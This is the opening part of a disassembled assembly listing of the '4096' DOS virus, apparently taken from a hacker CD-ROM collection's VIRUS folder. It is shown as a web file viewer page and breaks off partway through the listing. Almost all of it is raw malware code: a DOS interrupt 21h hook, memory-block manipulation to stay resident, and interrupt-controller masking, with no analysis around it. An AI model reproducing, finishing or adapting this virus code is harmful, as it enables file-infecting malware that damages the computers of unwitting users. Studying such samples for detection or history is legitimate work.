home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / 4096.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  79KB  |  1,777 lines

  1.       4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 1
  2.  
  3.   
  4.                 PAGE  59,132
  5.   
  6.                 ;██████████████████████████████████████████████████████████████████████████
  7.                 ;██                                         ██
  8.                 ;██                    4096                         ██
  9.                 ;██                                         ██
  10.                 ;██      Created:   6-Jul-85                             ██
  11.                 ;██      Passes:    5           Analysis Flags on: HQRS                 ██
  12.                 ;██                                         ██
  13.                 ;██████████████████████████████████████████████████████████████████████████
  14.   
  15.      = 000A            data_1e        equ    0Ah            ; (0000:000A=0ECh)
  16.      = 0012            data_3e        equ    12h            ; (0000:0012=70h)
  17.      = 0014            data_4e        equ    14h            ; (0000:0014=0FF54h)
  18.      = 0018            data_5e        equ    18h            ; (0000:0018=0EAA6h)
  19.      = 001A            data_6e        equ    1Ah            ; (0000:001A=0F000h)
  20.      = FD9F            data_7e        equ    0FD9Fh            ; (0000:FD9F=0)
  21.      = FDA1            data_8e        equ    0FDA1h            ; (0000:FDA1=0)
  22.      = FDA3            data_9e        equ    0FDA3h            ; (0000:FDA3=0)
  23.      = 000A            data_10e    equ    0Ah            ; (0080:000A=0)
  24.      = 000C            data_11e    equ    0Ch            ; (0080:000C=0)
  25.      = FD9F            data_12e    equ    0FD9Fh            ; (0080:FD9F=0AD65h)
  26.      = FDA1            data_13e    equ    0FDA1h            ; (0080:FDA1=0B295h)
  27.      = FDA3            data_14e    equ    0FDA3h            ; (0080:FDA3=0EB10h)
  28.      = 0001            data_15e    equ    1            ; (48FF:0001=0FFFFh)
  29.      = 0001            data_16e    equ    1            ; (72F1:0001=0FFFFh)
  30.      = 0003            data_17e    equ    3            ; (72F2:0003=0)
  31.      = 0006            data_19e    equ    6            ; (72F2:0006=0)
  32.      = 0008            data_20e    equ    8            ; (72F2:0008=0)
  33.      = 0020            data_21e    equ    20h            ; (72F2:0020=0)
  34.      = 118D            data_24e    equ    118Dh            ; (72F2:118D=0)
  35.      = 1200            data_25e    equ    1200h            ; (72F2:1200=0)
  36.      = 1204            data_28e    equ    1204h            ; (72F2:1204=0)
  37.      = 1208            data_29e    equ    1208h            ; (72F2:1208=0)
  38.      = 120A            data_30e    equ    120Ah            ; (72F2:120A=0)
  39.      = 120C            data_31e    equ    120Ch            ; (72F2:120C=0)
  40.      = 120E            data_32e    equ    120Eh            ; (72F2:120E=0)
  41.      = 1210            data_33e    equ    1210h            ; (72F2:1210=0)
  42.      = 1214            data_34e    equ    1214h            ; (72F2:1214=0)
  43.      = 1216            data_35e    equ    1216h            ; (72F2:1216=0)
  44.      = 1224            data_36e    equ    1224h            ; (72F2:1224=0)
  45.      = 1226            data_37e    equ    1226h            ; (72F2:1226=0)
  46.      = 1228            data_38e    equ    1228h            ; (72F2:1228=0)
  47.      = 1229            data_39e    equ    1229h            ; (72F2:1229=0)
  48.      = 122B            data_40e    equ    122Bh            ; (72F2:122B=0)
  49.      = 122D            data_41e    equ    122Dh            ; (72F2:122D=0)
  50.      = 122F            data_42e    equ    122Fh            ; (72F2:122F=0)
  51.      = 1231            data_43e    equ    1231h            ; (72F2:1231=0)
  52.      = 1235            data_45e    equ    1235h            ; (72F2:1235=0)
  53.      = 1239            data_46e    equ    1239h            ; (72F2:1239=0)
  54.      = 123B            data_47e    equ    123Bh            ; (72F2:123B=0)
  55.      = 123D            data_48e    equ    123Dh            ; (72F2:123D=0)
  56.      = 123F            data_49e    equ    123Fh            ; (72F2:123F=0)
  57.      = 1245            data_50e    equ    1245h            ; (72F2:1245=0)
  58.      = 1249            data_51e    equ    1249h            ; (72F2:1249=0)
  59.      = 124E            data_52e    equ    124Eh            ; (72F2:124E=0)
  60.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 2
  61.  
  62.      = 1250            data_53e    equ    1250h            ; (72F2:1250=0)
  63.      = 1251            data_54e    equ    1251h            ; (72F2:1251=0)
  64.      = 12A2            data_55e    equ    12A2h            ; (72F2:12A2=0)
  65.      = 12A3            data_56e    equ    12A3h            ; (72F2:12A3=0)
  66.      = 12A5            data_57e    equ    12A5h            ; (72F2:12A5=0)
  67.      = 12A7            data_58e    equ    12A7h            ; (72F2:12A7=0)
  68.      = 12A9            data_59e    equ    12A9h            ; (72F2:12A9=0)
  69.      = 12AB            data_60e    equ    12ABh            ; (72F2:12AB=0)
  70.      = 12AD            data_61e    equ    12ADh            ; (72F2:12AD=0)
  71.      = 12AF            data_62e    equ    12AFh            ; (72F2:12AF=0)
  72.      = 12B1            data_63e    equ    12B1h            ; (72F2:12B1=0)
  73.      = 12B3            data_64e    equ    12B3h            ; (72F2:12B3=0)
  74.      = 12DA            data_65e    equ    12DAh            ; (72F2:12DA=0)
  75.      = 12DD            data_66e    equ    12DDh            ; (72F2:12DD=0)
  76.      = 12DF            data_67e    equ    12DFh            ; (72F2:12DF=0)
  77.      = 12E1            data_68e    equ    12E1h            ; (72F2:12E1=0)
  78.      = 12E2            data_69e    equ    12E2h            ; (72F2:12E2=0)
  79.      = 12E5            data_70e    equ    12E5h            ; (72F2:12E5=0)
  80.      = 12E6            data_71e    equ    12E6h            ; (72F2:12E6=0)
  81.      = 12E8            data_72e    equ    12E8h            ; (72F2:12E8=0)
  82.      = 12EA            data_73e    equ    12EAh            ; (72F2:12EA=0)
  83.      = 12EC            data_74e    equ    12ECh            ; (72F2:12EC=0)
  84.      = 12EE            data_75e    equ    12EEh            ; (72F2:12EE=0)
  85.      = 12EF            data_76e    equ    12EFh            ; (72F2:12EF=0)
  86.      = 12FF            data_77e    equ    12FFh            ; (72F2:12FF=0)
  87.      = 1301            data_78e    equ    1301h            ; (72F2:1301=0)
  88.      = 1303            data_79e    equ    1303h            ; (72F2:1303=0)
  89.      = 1357            data_81e    equ    1357h            ; (72F2:1357=0)
  90.      = 1359            data_82e    equ    1359h            ; (72F2:1359=0)
  91.      = 135B            data_83e    equ    135Bh            ; (72F2:135B=0)
  92.      = 135D            data_84e    equ    135Dh            ; (72F2:135D=0)
  93.      = 7C0A            data_85e    equ    7C0Ah            ; (72F2:7C0A=0)
  94.      = 7CD7            data_86e    equ    7CD7h            ; (72F2:7CD7=0)
  95.      = 7CE2            data_87e    equ    7CE2h            ; (72F2:7CE2=0)
  96.      = 7CE7            data_88e    equ    7CE7h            ; (72F2:7CE7=0)
  97.      = 0000            data_89e    equ    0            ; (FEA0:0000=8Bh)
  98.      = 0001            data_90e    equ    1            ; (FEA0:0001=0E8C7h)
  99.      = 0003            data_91e    equ    3            ; (FEA0:0003=0Bh)
  100.   
  101.                 seg_a        segment
  102.                         assume    cs:seg_a, ds:seg_a
  103.   
  104.   
  105.                         org    100h
  106.   
  107.                 4096        proc    far
  108.   
  109. 72F2:0100            start:
  110. 72F2:0100  E9 0285                jmp    loc_6            ; (0388)
  111. 72F2:0103  09 15 71 21 CD            db    9, 15h, 71h, 21h, 0CDh
  112. 72F2:0108  20 48 65 6C 6C 6F            db    ' Hello, world!$'
  113. 72F2:010E  2C 20 77 6F 72 6C
  114. 72F2:0114  64 21 24
  115. 72F2:0117  08 00 74 0B BA F9            db    8, 0, 74h, 0Bh, 0BAh, 0F9h
  116. 72F2:011D  E8 8A 00 00 E9 A7            db    0E8h, 8Ah, 0, 0, 0E9h, 0A7h
  117. 72F2:0123  00 B4 09 BA 09 01            db    0, 0B4h, 9, 0BAh, 9, 1
  118. 72F2:0129  CD 21 CD                db    0CDh, 21h, 0CDh
  119.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 3
  120.  
  121. 72F2:012C  20 48 65 6C 6C 6F            db    ' Hello, world!$'
  122. 72F2:0132  2C 20 77 6F 72 6C
  123. 72F2:0138  64 21 24
  124. 72F2:013B  08 00 74 0B BA 00            db    8, 0, 74h, 0Bh, 0BAh, 0
  125. 72F2:0141  FE 3A 55 8B EC 50            db    0FEh, 3Ah, 55h, 8Bh, 0ECh, 50h
  126. 72F2:0147  81 7E 04 00 C0 73            db    81h, 7Eh, 4, 0, 0C0h, 73h
  127. 72F2:014D  0C 2E A1 47 12 39            db    0Ch, 2Eh, 0A1h, 47h, 12h, 39h
  128. 72F2:0153  46 04 76 03                db    46h, 4, 76h, 3
  129. 72F2:0157            loc_1:                        ;  xref 72F2:0192, 0199
  130. 72F2:0157  58                    pop    ax
  131. 72F2:0158  5D                    pop    bp
  132. 72F2:0159  CF                    iret                ; Interrupt return
  133. 72F2:015A            loc_2:
  134. 72F2:015A  2E:80 3E 1250 01            cmp    byte ptr cs:data_53e,1    ; (72F2:1250=0)
  135. 72F2:0160  74 32                je    loc_4            ; Jump if equal
  136. 72F2:0162  8B 46 04                mov    ax,[bp+4]
  137. 72F2:0165  2E:A3 122F                mov    cs:data_42e,ax        ; (72F2:122F=0)
  138. 72F2:0169  8B 46 02                mov    ax,[bp+2]
  139. 72F2:016C  2E:A3 122D                mov    cs:data_41e,ax        ; (72F2:122D=0)
  140. 72F2:0170  72 15                jc    loc_3            ; Jump if carry Set
  141. 72F2:0172  58                    pop    ax
  142. 72F2:0173  5D                    pop    bp
  143. 72F2:0174  2E:8E 16 12DD            mov    ss,cs:data_66e        ; (72F2:12DD=0)
  144. 72F2:0179  2E:8B 26 12DF            mov    sp,cs:data_67e        ; (72F2:12DF=0)
  145. 72F2:017E  2E:A0 12E5                mov    al,cs:data_70e        ; (72F2:12E5=0)
  146. 72F2:0182  E6 21                out    21h,al            ; port 21h, 8259-1 int comands
  147. 72F2:0184  E9 0CD9                jmp    loc_62            ; (0E60)
  148. 72F2:0187            loc_3:                        ;  xref 72F2:0170, 01B3
  149. 72F2:0187  81 66 06 FEFF            and    word ptr [bp+6],0FEFFh
  150. 72F2:018C  2E:A0 12E5                mov    al,cs:data_70e        ; (72F2:12E5=0)
  151. 72F2:0190  E6 21                out    21h,al            ; port 21h, 8259-1 int comands
  152. 72F2:0192  EB C3                jmp    short loc_1        ; (0157)
  153. 72F2:0194            loc_4:                        ;  xref 72F2:0160
  154. 72F2:0194  2E:FE 0E 1251            dec    byte ptr cs:data_54e    ; (72F2:1251=0)
  155. 72F2:0199  75 BC                jnz    loc_1            ; Jump if not zero
  156. 72F2:019B  81 66 06 FEFF            and    word ptr [bp+6],0FEFFh
  157. 72F2:01A0  E8 0D6C                call    sub_21            ; (0F0F)
  158. 72F2:01A3  E8 0D34                call    sub_18            ; (0EDA)
  159. 72F2:01A6  2E:C5 16 1231            lds    dx,dword ptr cs:data_43e    ; (72F2:1231=0) Load 32 bit ptr
  160. 72F2:01AB  B0 01                mov    al,1
  161. 72F2:01AD  E8 0F0C                call    sub_26            ; (10BC)
  162. 72F2:01B0  E8 0D53                call    sub_20            ; (0F06)
  163. 72F2:01B3  EB D2                jmp    short loc_3        ; (0187)
  164.   
  165.                 4096        endp
  166.   
  167.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  168.                 ;                   SUBROUTINE
  169.                 ;
  170.                 ;         Called from:     72F2:0DF3, 0E0A, 0E18, 0E75, 0F3E
  171.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  172.   
  173.                 sub_1        proc    near
  174. 72F2:01B5  1E                    push    ds
  175. 72F2:01B6  56                    push    si
  176. 72F2:01B7  33 F6                xor    si,si            ; Zero register
  177. 72F2:01B9  8E DE                mov    ds,si
  178.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 4
  179.  
  180. 72F2:01BB  32 E4                xor    ah,ah            ; Zero register
  181. 72F2:01BD  8B F0                mov    si,ax
  182. 72F2:01BF  D1 E6                shl    si,1            ; Shift w/zeros fill
  183. 72F2:01C1  D1 E6                shl    si,1            ; Shift w/zeros fill
  184. 72F2:01C3  8B 1C                mov    bx,[si]
  185. 72F2:01C5  8E 44 02                mov    es,[si+2]
  186. 72F2:01C8  5E                    pop    si
  187. 72F2:01C9  1F                    pop    ds
  188. 72F2:01CA  C3                    retn
  189.                 sub_1        endp
  190.   
  191. 72F2:01CB  2E C7 06 5B 13 00            db    2Eh, 0C7h, 6, 5Bh, 13h, 0
  192. 72F2:01D1  16 2E A3 E3 12 B4            db    16h, 2Eh, 0A3h, 0E3h, 12h, 0B4h
  193. 72F2:01D7  30 CD 21 2E A2 EE            db    30h, 0CDh, 21h, 2Eh, 0A2h, 0EEh
  194. 72F2:01DD  12 2E 8C 1E 45 12            db    12h, 2Eh, 8Ch, 1Eh, 45h, 12h
  195. 72F2:01E3  B4 52 CD 21 26 8B            db    0B4h, 52h, 0CDh, 21h, 26h, 8Bh
  196. 72F2:01E9  47 FE 2E A3 47 12            db    47h, 0FEh, 2Eh, 0A3h, 47h, 12h
  197. 72F2:01EF  8E C0 26 A1 01 00            db    8Eh, 0C0h, 26h, 0A1h, 1, 0
  198. 72F2:01F5  2E A3 49 12 0E 1F            db    2Eh, 0A3h, 49h, 12h, 0Eh, 1Fh
  199. 72F2:01FB  B0 01 E8 B5 FF 89            db    0B0h, 1, 0E8h, 0B5h, 0FFh, 89h
  200. 72F2:0201  1E 31 12 8C 06 33            db    1Eh, 31h, 12h, 8Ch, 6, 33h
  201. 72F2:0207  12 B0 21 E8 A8 FF            db    12h, 0B0h, 21h, 0E8h, 0A8h, 0FFh
  202. 72F2:020D  89 1E 2D 12 8C 06            db    89h, 1Eh, 2Dh, 12h, 8Ch, 6
  203. 72F2:0213  2F 12 C6 06 50 12            db    2Fh, 12h, 0C6h, 6, 50h, 12h
  204. 72F2:0219  00 BA 23 00 B0 01            db    0, 0BAh, 23h, 0, 0B0h, 1
  205. 72F2:021F  E8 9A 0E 9C 58 0D            db    0E8h, 9Ah, 0Eh, 9Ch, 58h, 0Dh
  206. 72F2:0225  00 01 50 E4 21 A2            db    0, 1, 50h, 0E4h, 21h, 0A2h
  207. 72F2:022B  E5 12 B0 FF E6 21            db    0E5h, 12h, 0B0h, 0FFh, 0E6h, 21h
  208. 72F2:0231  9D B4 52 9C FF 1E            db    9Dh, 0B4h, 52h, 9Ch, 0FFh, 1Eh
  209. 72F2:0237  2D 12 9C 58 25 FF            db    2Dh, 12h, 9Ch, 58h, 25h, 0FFh
  210. 72F2:023D  FE 50 9D A0 E5 12            db    0FEh, 50h, 9Dh, 0A0h, 0E5h, 12h
  211. 72F2:0243  E6 21 1E C5 16 31            db    0E6h, 21h, 1Eh, 0C5h, 16h, 31h
  212. 72F2:0249  12 B0 01 E8 6D 0E            db    12h, 0B0h, 1, 0E8h, 6Dh, 0Eh
  213. 72F2:024F  1F C4 3E 2D 12 89            db    1Fh, 0C4h, 3Eh, 2Dh, 12h, 89h
  214. 72F2:0255  3E 35 12 8C 06 37            db    3Eh, 35h, 12h, 8Ch, 6, 37h
  215. 72F2:025B  12 C6 06 4B 12 EA            db    12h, 0C6h, 6, 4Bh, 12h, 0EAh
  216. 72F2:0261  C7 06 4C 12 CC 02            db    0C7h, 6, 4Ch, 12h, 0CCh, 2
  217. 72F2:0267  8C 0E 4E 12 E8 6C            db    8Ch, 0Eh, 4Eh, 12h, 0E8h, 6Ch
  218. 72F2:026D  0C B8 00 4B 88 26            db    0Ch, 0B8h, 0, 4Bh, 88h, 26h
  219. 72F2:0273  E2 12 BA 21 00 FF            db    0E2h, 12h, 0BAh, 21h, 0, 0FFh
  220. 72F2:0279  36 20 00 CD 21 8F            db    36h, 20h, 0, 0CDh, 21h, 8Fh
  221. 72F2:027F  06 20 00 26 83 45            db    6, 20h, 0, 26h, 83h, 45h
  222. 72F2:0285  FC 09 90 8E 06 45            db    0FCh, 9, 90h, 8Eh, 6, 45h
  223. 72F2:028B  12 8E 1E 45 12 81            db    12h, 8Eh, 1Eh, 45h, 12h, 81h
  224. 72F2:0291  2E 02 00 61 01 8B            db    2Eh, 2, 0, 61h, 1, 8Bh
  225. 72F2:0297  2E 02 00 8C DA 2B            db    2Eh, 2, 0, 8Ch, 0DAh, 2Bh
  226. 72F2:029D  EA B4 4A BB FF FF            db    0EAh, 0B4h, 4Ah, 0BBh, 0FFh, 0FFh
  227. 72F2:02A3  CD 21 B4 4A CD 21            db    0CDh, 21h, 0B4h, 4Ah, 0CDh, 21h
  228. 72F2:02A9  4A 8E DA 80 3E 00            db    4Ah, 8Eh, 0DAh, 80h, 3Eh, 0
  229. 72F2:02AF  00 5A 74 05 2E FE            db    0, 5Ah, 74h, 5, 2Eh, 0FEh
  230. 72F2:02B5  0E E2 12 2E 80 3E            db    0Eh, 0E2h, 12h, 2Eh, 80h, 3Eh
  231. 72F2:02BB  E2 12 00 74 05 C6            db    0E2h, 12h, 0, 74h, 5, 0C6h
  232. 72F2:02C1  06 00 00                db    6, 0, 0
  233. 72F2:02C4  4D                    db    4Dh
  234. 72F2:02C5            loc_5:
  235. 72F2:02C5  A1 0003                mov    ax,ds:data_17e        ; (72F2:0003=0)
  236. 72F2:02C8  8B D8                mov    bx,ax
  237.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 5
  238.  
  239. 72F2:02CA  2D 0161                sub    ax,161h
  240. 72F2:02CD  03 D0                add    dx,ax
  241. 72F2:02CF  A3 0003                mov    ds:data_17e,ax        ; (72F2:0003=0)
  242. 72F2:02D2  42                    inc    dx
  243. 72F2:02D3  8E C2                mov    es,dx
  244. 72F2:02D5  26:C6 06 0000 5A            mov    byte ptr es:data_89e,5Ah    ; (FEA0:0000=8Bh) 'Z'
  245. 72F2:02DB  2E:FF 36 1249            push    word ptr cs:data_51e    ; (72F2:1249=0)
  246. 72F2:02E0  26:8F 06 0001            pop    word ptr es:data_90e    ; (FEA0:0001=0E8C7h)
  247. 72F2:02E5  26:C7 06 0003 0160            mov    word ptr es:data_91e,160h    ; (FEA0:0003=0Bh)
  248. 72F2:02EC  42                    inc    dx
  249. 72F2:02ED  8E C2                mov    es,dx
  250. 72F2:02EF  0E                    push    cs
  251. 72F2:02F0  1F                    pop    ds
  252. 72F2:02F1  B9 0B00                mov    cx,0B00h
  253. 72F2:02F4  BE 15FE                mov    si,15FEh
  254. 72F2:02F7  8B FE                mov    di,si
  255. 72F2:02F9  FD                    std                ; Set direction flag
  256. 72F2:02FA  F3/A5                rep    movsw            ; Rep while cx>0 Mov [si] to es:[di]
  257. 72F2:02FC  FC                    cld                ; Clear direction
  258. 72F2:02FD  06                    push    es
  259. 72F2:02FE  B8 01EE                mov    ax,1EEh
  260. 72F2:0301  50                    push    ax
  261. 72F2:0302  2E:8E 06 1245            mov    es,cs:data_50e        ; (72F2:1245=0)
  262. 72F2:0307  B4 4A                mov    ah,4Ah            ; 'J'
  263. 72F2:0309  8B DD                mov    bx,bp
  264. 72F2:030B  CD 21                int    21h            ; DOS Services  ah=function 4Ah
  265.                                         ;  change mem allocation, bx=siz
  266. 72F2:030D  CB                    retf                ; Return far
  267. 72F2:030E  E8 C9 0B 2E 8C 0E            db    0E8h, 0C9h, 0Bh, 2Eh, 8Ch, 0Eh
  268. 72F2:0314  4E 12 E8 C1 0B 0E            db    4Eh, 12h, 0E8h, 0C1h, 0Bh, 0Eh
  269. 72F2:031A  1F C6 06 A2 12 14            db    1Fh, 0C6h, 6, 0A2h, 12h, 14h
  270. 72F2:0320  0E 07 BF 52 12 B9            db    0Eh, 7, 0BFh, 52h, 12h, 0B9h
  271. 72F2:0326  14 00 33 C0 F3 AB            db    14h, 0, 33h, 0C0h, 0F3h, 0ABh
  272. 72F2:032C  A2 EF 12 A1 45 12            db    0A2h, 0EFh, 12h, 0A1h, 45h, 12h
  273. 72F2:0332  8E C0 26 C5 16 0A            db    8Eh, 0C0h, 26h, 0C5h, 16h, 0Ah
  274. 72F2:0338  00 8E D8 05 10 00            db    0, 8Eh, 0D8h, 5, 10h, 0
  275. 72F2:033E  2E 01 06 1A 00 2E            db    2Eh, 1, 6, 1Ah, 0, 2Eh
  276. 72F2:0344  80 3E 20 00 00 75            db    80h, 3Eh, 20h, 0, 0, 75h
  277. 72F2:034A  24 FB 2E A1 04 00            db    24h, 0FBh, 2Eh, 0A1h, 4, 0
  278. 72F2:0350  A3 00 01 2E A1 06            db    0A3h, 0, 1, 2Eh, 0A1h, 6
  279. 72F2:0356  00 A3 02 01 2E A1            db    0, 0A3h, 2, 1, 2Eh, 0A1h
  280. 72F2:035C  08 00 A3 04 01 2E            db    8, 0, 0A3h, 4, 1, 2Eh
  281. 72F2:0362  FF 36 45 12 B8 00            db    0FFh, 36h, 45h, 12h, 0B8h, 0
  282. 72F2:0368  01 50 2E A1 E3 12            db    1, 50h, 2Eh, 0A1h, 0E3h, 12h
  283. 72F2:036E  CB 2E 01 06 12 00            db    0CBh, 2Eh, 1, 6, 12h, 0
  284. 72F2:0374  2E A1 E3 12 2E 8E            db    2Eh, 0A1h, 0E3h, 12h, 2Eh, 8Eh
  285. 72F2:037A  16 12 00 2E 8B 26            db    16h, 12h, 0, 2Eh, 8Bh, 26h
  286. 72F2:0380  14 00 FB 2E FF 2E            db    14h, 0, 0FBh, 2Eh, 0FFh, 2Eh
  287. 72F2:0386  18 00                db    18h, 0
  288. 72F2:0388            loc_6:                        ;  xref 72F2:0100
  289. 72F2:0388  81 FC 0100                cmp    sp,100h
  290. 72F2:038C  77 02                ja    loc_7            ; Jump if above
  291. 72F2:038E  33 E4                xor    sp,sp            ; Zero register
  292. 72F2:0390            loc_7:                        ;  xref 72F2:038C
  293. 72F2:0390  8B E8                mov    bp,ax
  294. 72F2:0392  E8 0000                call    sub_2            ; (0395)
  295.   
  296.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 6
  297.  
  298.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  299.                 ;                   SUBROUTINE
  300.                 ;
  301.                 ;         Called from:     72F2:0392
  302.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  303.   
  304.                 sub_2        proc    near
  305. 72F2:0395  59                    pop    cx
  306. 72F2:0396  81 E9 0275                sub    cx,275h
  307. 72F2:039A  8C C8                mov    ax,cs
  308. 72F2:039C  BB 0010                mov    bx,10h
  309. 72F2:039F  F7 E3                mul    bx            ; dx:ax = reg * ax
  310. 72F2:03A1  03 C1                add    ax,cx
  311. 72F2:03A3  83 D2 00                adc    dx,0
  312. 72F2:03A6  F7 F3                div    bx            ; ax,dx rem=dx:ax/reg
  313. 72F2:03A8  50                    push    ax
  314. 72F2:03A9  B8 00AB                mov    ax,0ABh
  315. 72F2:03AC  50                    push    ax
  316. 72F2:03AD  8B C5                mov    ax,bp
  317. 72F2:03AF  CB                    retf                ; Return far
  318.                 sub_2        endp
  319.   
  320. 72F2:03B0  30 7C 07 23 4E 04            db    30h, 7Ch, 7, 23h, 4Eh, 4
  321. 72F2:03B6  37 8B 0E 4B 8B 05            db    37h, 8Bh, 0Eh, 4Bh, 8Bh, 5
  322. 72F2:03BC  3C D5 04 3D 11 05            db    3Ch, 0D5h, 4, 3Dh, 11h, 5
  323. 72F2:03C2  3E 55 05 0F 9B 03            db    3Eh, 55h, 5, 0Fh, 9Bh, 3
  324. 72F2:03C8  14 CD 03 21 C1 03            db    14h, 0CDh, 3, 21h, 0C1h, 3
  325. 72F2:03CE  27 BF 03 11 59 03            db    27h, 0BFh, 3, 11h, 59h, 3
  326. 72F2:03D4  12 59 03 4E 9F 04            db    12h, 59h, 3, 4Eh, 9Fh, 4
  327. 72F2:03DA  4F 9F 04 3F A5 0A            db    4Fh, 9Fh, 4, 3Fh, 0A5h, 0Ah
  328. 72F2:03E0  40 8A 0B 42 90 0A            db    40h, 8Ah, 0Bh, 42h, 90h, 0Ah
  329. 72F2:03E6  57 41 0A 48 34 0E            db    57h, 41h, 0Ah, 48h, 34h, 0Eh
  330. 72F2:03EC  3D 00 4B 75 04 2E            db    3Dh, 0, 4Bh, 75h, 4, 2Eh
  331. 72F2:03F2  A2 E2 12 55 8B EC            db    0A2h, 0E2h, 12h, 55h, 8Bh, 0ECh
  332. 72F2:03F8  FF 76 06 2E 8F 06            db    0FFh, 76h, 6, 2Eh, 8Fh, 6
  333. 72F2:03FE  B3 12 5D 55 8B EC            db    0B3h, 12h, 5Dh, 55h, 8Bh, 0ECh
  334. 72F2:0404  E8 08 0B E8 D0 0A            db    0E8h, 8, 0Bh, 0E8h, 0D0h, 0Ah
  335. 72F2:040A  E8 9A 0A E8 F6 0A            db    0E8h, 9Ah, 0Ah, 0E8h, 0F6h, 0Ah
  336. 72F2:0410  E8 B4 0A 53 BB 90            db    0E8h, 0B4h, 0Ah, 53h, 0BBh, 90h
  337. 72F2:0416  02                    db    2
  338. 72F2:0417            loc_8:                        ;  xref 72F2:042C
  339. 72F2:0417  2E:3A 27                cmp    ah,cs:[bx]
  340. 72F2:041A  75 09                jne    loc_9            ; Jump if not equal
  341. 72F2:041C  2E:8B 5F 01                mov    bx,cs:[bx+1]
  342. 72F2:0420  87 5E EC                xchg    bx,[bp-14h]
  343. 72F2:0423  FC                    cld                ; Clear direction
  344. 72F2:0424  C3                    retn
  345. 72F2:0425            loc_9:                        ;  xref 72F2:041A
  346. 72F2:0425  83 C3 03                add    bx,3
  347. 72F2:0428  81 FB 02CC                cmp    bx,2CCh
  348. 72F2:042C  72 E9                jb    loc_8            ; Jump if below
  349. 72F2:042E  5B                    pop    bx
  350. 72F2:042F            loc_10:                        ;  xref 72F2:0672, 069E, 0BC2, 0D64
  351.                                         ;            0DA6
  352. 72F2:042F  E8 0A89                call    sub_16            ; (0EBB)
  353. 72F2:0432  E4 21                in    al,21h            ; port 21h, 8259-1 int IMR
  354. 72F2:0434  2E:A2 12E5                mov    cs:data_70e,al        ; (72F2:12E5=0)
  355.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 7
  356.  
  357. 72F2:0438  B0 FF                mov    al,0FFh
  358. 72F2:043A  E6 21                out    21h,al            ; port 21h, 8259-1 int comands
  359. 72F2:043C  2E:C6 06 1251 04            mov    byte ptr cs:data_54e,4    ; (72F2:1251=0)
  360. 72F2:0442  2E:C6 06 1250 01            mov    byte ptr cs:data_53e,1    ; (72F2:1250=0)
  361. 72F2:0448  E8 0AF1                call    sub_22            ; (0F3C)
  362. 72F2:044B  E8 0AA5                call    sub_19            ; (0EF3)
  363. 72F2:044E  50                    push    ax
  364. 72F2:044F  2E:A1 12B3                mov    ax,cs:data_64e        ; (72F2:12B3=0)
  365. 72F2:0453  0D 0100                or    ax,100h
  366. 72F2:0456  50                    push    ax
  367. 72F2:0457  9D                    popf                ; Pop flags
  368. 72F2:0458  58                    pop    ax
  369. 72F2:0459  5D                    pop    bp
  370. 72F2:045A  2E:FF 2E 1235            jmp    dword ptr cs:data_45e    ; (72F2:1235=0)
  371. 72F2:045F            loc_11:                        ;  xref 72F2:04B9
  372. 72F2:045F  E8 0AAD                call    sub_21            ; (0F0F)
  373. 72F2:0462  E8 0A56                call    sub_16            ; (0EBB)
  374. 72F2:0465  E8 0A72                call    sub_18            ; (0EDA)
  375. 72F2:0468  E8 0A9B                call    sub_20            ; (0F06)
  376. 72F2:046B  5D                    pop    bp
  377. 72F2:046C  55                    push    bp
  378. 72F2:046D  8B EC                mov    bp,sp
  379. 72F2:046F  2E:FF 36 12B3            push    word ptr cs:data_64e    ; (72F2:12B3=0)
  380. 72F2:0474  8F 46 06                pop    word ptr [bp+6]
  381. 72F2:0477  5D                    pop    bp
  382. 72F2:0478  CF                    iret                ; Interrupt return
  383. 72F2:0479  E8 77 0A E8 35 0B            db    0E8h, 77h, 0Ah, 0E8h, 35h, 0Bh
  384. 72F2:047F  0A C0 75 DC E8 41            db    0Ah, 0C0h, 75h, 0DCh, 0E8h, 41h
  385. 72F2:0485  0A E8 18 02 B0 00            db    0Ah, 0E8h, 18h, 2, 0B0h, 0
  386. 72F2:048B  80 3F FF 75 06 8A            db    80h, 3Fh, 0FFh, 75h, 6, 8Ah
  387. 72F2:0491  47 06 83 C3 07 2E            db    47h, 6, 83h, 0C3h, 7, 2Eh
  388. 72F2:0497  20 06 F0 12 F6 47            db    20h, 6, 0F0h, 12h, 0F6h, 47h
  389. 72F2:049D  1A 80 74 15 80 6F            db    1Ah, 80h, 74h, 15h, 80h, 6Fh
  390. 72F2:04A3  1A C8 2E 80 3E F0            db    1Ah, 0C8h, 2Eh, 80h, 3Eh, 0F0h
  391. 72F2:04A9  12 00 75 09 81 6F            db    12h, 0, 75h, 9, 81h, 6Fh
  392. 72F2:04AF  1D 00 10 83 5F 1F            db    1Dh, 0, 10h, 83h, 5Fh, 1Fh
  393. 72F2:04B5  00                    db    0
